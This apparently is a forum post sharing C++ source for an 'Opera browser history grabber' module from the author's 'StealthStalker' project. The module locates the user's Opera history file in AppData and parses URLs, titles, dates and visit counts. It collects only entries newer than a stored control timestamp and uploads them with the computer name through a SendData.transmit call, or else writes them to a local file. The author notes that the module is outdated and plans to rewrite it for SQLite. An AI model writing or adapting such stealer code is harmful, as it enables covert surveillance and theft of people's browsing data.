Hello. This module is ripped straight from my StealthStalker project, so sorry if it's not directly compilable but it's easily modifiable. Now I am posting this because since last time I checked, new versions of Opera switched to SQLite database to store history and other stuff (like a real browser do) instead of saving everything into a text file. Because of that this module became somewhat irrelevant, so I thought I could share for comments and learning, I'll have to write a new one anyway to adapt to SQLite.
For a documentation on that old format, refer to this:
http://www.forensicswiki.org/wiki/Opera
Now here is my code:
struct OperaHistoryData {
std::string title;
std::string url;
std::string datetime;
std::string visits;
};
#include <vector>
#include "Structs.hpp"
class OperaHistory {
public:
void readFile(bool, char*);
private:
std::string convertMillisToDatetime(std::string);
void writeOperaData(OperaHistoryData, std::ofstream&, bool, std::string&);
};
/*
Opera browser history grabber module;
Grabs browsing history
Author: Kulverstukas
*/
#include <iostream>
#include <stdio.h>
#include <fstream>
#include <string>
#include <time.h>
#include <algorithm>
#include <sys/stat.h>
#include "OperaHistory.hpp"
#include "SendData.hpp"
using namespace std;
const string OPERA_APPDATA_PATH = "Opera\\Opera";
const string APPDATA = "appdata";
const string OPERA_HISTORY_FILE = "global_history.dat";
const string OPERA_CONTROL_FILE = "opcontrol.dat";
void OperaHistory::readFile(bool upload, char* compName) {
// create stuff
string path = (((string)getenv(APPDATA.c_str()))+"\\"+OPERA_APPDATA_PATH+"\\");
struct OperaHistoryData ohData;
string operaDataStr;
SendData sendData;
// check if control file exists
struct stat buff;
long int prevMillis = 0;
if (stat((path+OPERA_CONTROL_FILE).c_str(), &buff) != -1) {
ifstream controlFile((path+OPERA_CONTROL_FILE).c_str());
if (controlFile.is_open() and controlFile.good()) {
string tmp;
getline(controlFile, tmp);
prevMillis = atol(tmp.c_str());
}
controlFile.close();
}
// do the actual reading and parsing of the history file
ifstream operaFile((path+OPERA_HISTORY_FILE).c_str());
long int rawMillis = 0;
string line;
int counter = 0;
ofstream dataFile;
if (!upload) {
dataFile.open("Opera.txt", ios::app);
}
while (!operaFile.eof()) {
getline(operaFile, line);
counter++;
if (counter == 1) { ohData.title = line; }
else if (counter == 2) { ohData.url = line; }
else if (counter == 3) {
ohData.datetime = this->convertMillisToDatetime(line);
rawMillis = atol(line.c_str());
}
else if (counter == 4) {
int visits = atol(line.c_str());
if (visits >= 0) { ohData.visits = "1"; }
else if (visits < 0) { ohData.visits = ">1"; }
counter = 0;
if (rawMillis > prevMillis) {
this->writeOperaData(ohData, dataFile, upload, operaDataStr);
}
}
}
if (upload) {
sendData.transmit("Opera", compName, "Opera.txt", operaDataStr);
} else {
dataFile.close();
}
operaFile.close();
ofstream controlFile((path+OPERA_CONTROL_FILE).c_str());
if (controlFile.is_open() and controlFile.good()) {
//controlFile << rawMillis << endl;
controlFile << 0 << endl;
}
controlFile.close();
}
string OperaHistory::convertMillisToDatetime(string datetime) {
time_t rawtime = atol(datetime.c_str());
struct tm *convertedTime;
convertedTime = localtime(&rawtime);
char result[22];
strftime(result, 22, "%Y.%m.%d, %X", convertedTime);
return (string)result;
}
void OperaHistory::writeOperaData(OperaHistoryData data, ofstream &newFile, bool upload, string &dataStr) {
if (upload) {
dataStr.append("URL:\t"); dataStr.append(data.url); dataStr.append("\n");
dataStr.append("Title:\t"); dataStr.append(data.title); dataStr.append("\n");
dataStr.append("Date:\t"); dataStr.append(data.datetime); dataStr.append("\n");
dataStr.append("Visits:\t"); dataStr.append(data.visits); dataStr.append("\n");
dataStr.append("\n");
} else {
newFile << "URL:\t" << data.url << endl;
newFile << "Title:\t" << data.title << endl;
newFile << "Date:\t" << data.datetime << endl;
newFile << "Visits:\t" << data.visits << endl;
newFile << "\n";
}
};